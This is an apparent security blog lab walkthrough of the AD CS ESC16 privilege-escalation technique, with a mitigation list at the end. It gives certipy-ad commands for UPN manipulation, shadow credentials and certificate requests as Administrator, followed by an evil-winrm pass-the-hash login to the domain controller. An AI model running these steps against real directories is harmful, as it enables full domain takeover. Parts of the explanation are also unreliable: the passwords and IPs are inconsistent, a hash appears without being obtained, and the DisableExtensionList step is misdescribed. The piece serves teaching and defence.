Active Directory Certificate Attack

ADCS ESC16 – Security Extension Disabled on CA (Globally)

The ESC16 vulnerability in AD CS allows attackers to bypass certificate validation and escalate privileges through misconfigured templates, UPN mapping, and shadow credentials. This can lead to full domain compromise. Immediate mitigation is critical to protect your Microsoft PKI and prevent unauthorized access.

Table of Content

  • Overview the ESC16 Attack
  • Prerequisites
  • Lab Setup
  • Enumeration & Exploitation

Post Exploitation

  • Lateral Movement & Privilege Escalation using Evil-Winrm

Mitigation

Overview the ESC16 Attack

ESC16 is a post-compromise attack technique in Active Directory Certificate Services (AD CS) that combines weak certificate extension controls, improper UPN handling, and shadow credentials to achieve full domain compromise.

At its core, ESC16 abuses two main weaknesses:

Misuse of the DisableExtensionList registry key

If improperly configured, this allows attackers to bypass restrictions on certificate extensions opening the door for shadow credentials or additional identity manipulations.

Temporary UPN manipulation

By granting themselves write access to another account’s User Principal Name (UPN), attackers can impersonate privileged accounts (like Administrator) during certificate requests.

When combined, these flaws let a low-privileged attacker:

  • Request certificates that bypass extension restrictions
  • Map them to high-value accounts
  • Use shadow credentials for persistence
  • Pivot to Domain Admin privileges without triggering traditional password/hashes detection

Why ESC16 is Dangerous

  • Exploits a registry-based hardening mistake (DisableExtensionList).
  • Leverages attribute-level permissions (Write access to UPN).
  • Enables stealthy persistence via shadow credentials.
  • Works even in hardened environments with StrongCertificateBindingEnforcement enabled.

Result: A complete compromise of Active Directory with minimal touch points.

Prerequisite

  • Windows Server 2019 as Active Directory that supports PKINIT
  • Domain must have Active Directory Certificate Services and Certificate Authority configured.
  • Kali Linux packed with tools
  • Tools: Evil-Winrm, certipy-ad

Lab Setup

In this guide, we’re not walking through a full AD CS deployment. Instead, we assume a typical enterprise environment where:

  • Active Directory and AD CS are installed
  • Two domain users exist:

raj (attacker-controlled)

sanjeet (lower-privilege target)

  • The Certificate Authority (ignite-DC01-CA) is operational

To begin with, our first step is verifying and tweaking settings in Active Directory and the CA to ensure the prerequisites for ESC16 are in place.

Inspect User Group Memberships

In Active Directory Users and Computers (ADUC):

Firstly, open raj → Properties → Member Of

Then, open sanjeet → Properties → Member Of

Enumerate the privileges of both accounts and assess if sanjeet can be leveraged as a pivot point for privilege escalation.

Grant Write Permissions to raj on sanjeet

In ADUC:

  1. Firstly, open Sanjeet → Properties → Security → Advanced
  2. Add raj
  3. Then, Grant Write permissions
  4. Finally, Apply changes

This permission enables raj to modify sensitive attributes of sanjeet (such as the UPN), which is a crucial prerequisite for subsequent privilege escalation steps.

Adjust KDC and CA Registry Settings

For the ESC16 attack to succeed, certain KDC and CA registry settings must be misconfigured or overly permissive. This step involves auditing these settings to identify or exploit weaknesses that allow certificate requests with elevated privileges (e.g., using another user’s SID or UPN).

Key focus areas:

  • KDC settings like AllowAltSecurityIdentities
  • CA template handling of SubjectAltName fields and EKUs
  • Use of tools like reg query or PowerShell for enumeration

Improper settings here can allow low-privileged users to impersonate high privilege accounts via certificate based authentication.

Enable Strong Certificate Binding Enforcement

Setting the StrongCertificateBindingEnforcement DWORD registry key activates this strict validation, which is a common hardening measure in enterprise environments focused on securing PKI and Kerberos authentication.

This simulates a scenario where strong binding is enforced, which is common in hardened enterprise environments. Verification can be done using the following command.

Modify CA DisableExtensionList

Modifying the DisableExtensionList registry setting on the Certificate Authority removes certain extensions from the blacklist, allowing critical certificate extensions such as those used for shadow credentials to be accepted.

certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2

The command adds the extension 1.3.6.1.4.1.311.25.2 to the CA’s allowed list, letting certificates with this extension be issued, enabling techniques like shadow credentials.

certutil -getreg policy\DisableExtensionList

This retrieves the current list of certificate extensions that the CA blocks or allows, showing which extensions are disabled or permitted.

After modifying Certificate Authority (CA) registry settings, such as updating the DisableExtensionList, it’s necessary to restart the Certificate Services (certsvc) to apply the changes. Restarting ensures that the CA loads the updated configuration, allowing new certificate issuance policies or extensions to take effect immediately without requiring a system reboot.

net stop certsvc
net start certsvc

Enumeration & Exploitation

Enumerate Vulnerable Templates

certipy-ad find -u raj -p Passworda1 -dc-ip 192.168.220.138 -vulnerable -stdout

This enumerates the certificate templates available to us and identifies any potentially risky configurations as

Read sanjeet Account Attributes

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.220.138 -user sanjeet read

This verifies that sanjeet can be queried and checks for any writable permissions on their account.

Change Sanjeet’s UPN to Administrator

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.220.138 -upn administrator -user sanjeet update

This temporarily maps sanjeet to administrator@ignite.local, allowing the CA to be tricked into issuing certificates as the Administrator account.

Set Up Shadow Credentials for sanjeet

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.220.138 -account sanjeet auto

 This generates alternate logon credentials for sanjeet, enabling covert access for future use.

Request Certificate as Administrator

Export the user’s Kerberos tickets for reuse on another system.

export KRB5CCNAME=sanjeet.ccache
certipy-ad req -k -dc-ip 192.168.220.138 -ca 'ignite-DC01-CA' -template 'User' -target dc01.ignite.local

This action uses Sanjeet’s UPN mapped to Administrator to request a certificate, granting admin level access that can be reused without re-authentication, ideal for stealthy persistence or lateral movement.

Restore Sanjeets’s Original UPN

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.220.138 -upn sanjeet@ignite.local -user 'sanjeet' update

This removes traces by restoring sanjeet’s original UPN.

Verify Changes

certipy-ad account  -u raj -p Password@1 -dc-ip 192.168.220.138 -user sanjeet read

This confirms that the system has fully restored Sanjeet’s UPN and other modified attributes.

Authenticate as Administrator

certipy-ad auth -dc-ip 192.168.220.138 -pfx administrator.pfx -username administrator -domain 'ignite.local'

This leverages the forged Administrator certificate to gain full domain admin access.

Post Exploitation

Lateral Movement & Privilege Escalation using Evil-Winrm

evil-winrm -i 192.168.1.16 -u administrator -H 64fbae31cc352fc26af97cbdef151e03

We Use Evil-WinRM with the stolen NTLM hash to access the Domain Controller as Administrator, confirming full domain compromise and enabling high level control.

Mitigation

  • Firstly, restrict write access on other users’ attributes.
  • Additionally, enforce strict monitoring on UPN changes (Event ID 4739)
  • Instead of overusing DisableExtensionList, prefer deny-listing risky extensions manually
  • Moreover, monitor shadow credential creation (Event ID 5136)
  • Lastly, patch AD CS to close UPN & extension bypass vectors (ESC16 mitigation updates, 2025)

Want to dive deep into ADCS attacks? Hit this link.

Author: MD Aslam drives security excellence and mentors teams to strengthen security across products, networks, and organizations as a dynamic Information Security leader. Contact here